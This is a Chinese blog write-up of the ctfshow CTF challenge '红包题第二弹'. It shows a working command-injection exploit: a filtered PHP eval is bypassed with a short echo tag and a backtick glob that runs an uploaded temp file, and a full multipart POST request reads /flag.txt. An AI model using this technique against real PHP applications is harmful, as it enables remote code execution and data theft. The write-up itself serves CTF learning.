ctfshow-红包题第二弹

37 篇文章 0 订阅

0x00 前言

0x01 题目

在这里插入图片描述

0x02 Write Up

同样,先看一下有没有注释的内容,可以看到有一个cmd的入参

在这里插入图片描述
执行之后可以看到文件代码,可以看到也是eval,但是中间对大部分的字符串都进行了过滤,留下了一个字母p

在这里插入图片描述
这里就需要知道一个知识点,php中可以通过<?=进行打印,相当于echo,但是必须使用?>对之前的内容进行闭合

还有一个知识点就是如果是PHP上传文件的话,会在/tmp下生成一个为phpxxxxxx的文件x为随机字母

那么构造一下poc:就是

?><?=`.+/??p/p?p??????`; 

表示占位符

那么最终的数据包就是:

POST /?cmd=?%3E%3C?=`.+/??p/p?p??????`; HTTP/1.1
Host: 6aae41f0-5311-43d9-9769-75453c352b5b.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: application/json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cache-Control: no-cache
X-Requested-With: XMLHttpRequest
X-CSRF-TOKEN: xxxxxx
Content-Type: multipart/form-data; boundary=---------------------------107149833622792667114153151063
Content-Length: 258
Origin: http://127.0.0.1:8000
Connection: close
Referer: http://127.0.0.1:8000/run_any
Cookie: login_locale=zh_CN; avatarImageUrl=-351954267144434677; csrftoken=nbORQ4TEUH5bqVtZlC9gjZ4qzooR96rzFg7VCEOFmkouupiE1KIWdvQGCBqQnrBY; __utma=96992031.1671372876.1687101569.1687101569.1687101569.1; __utmz=96992031.1687101569.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); sessionid=lnu0vgi75dlekaxsf7iu5g4j2nof5oug
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------107149833622792667114153151063
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream

#! /bin/sh

cat /flag.txt
-----------------------------107149833622792667114153151063--

最终获取falg
在这里插入图片描述

以上

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值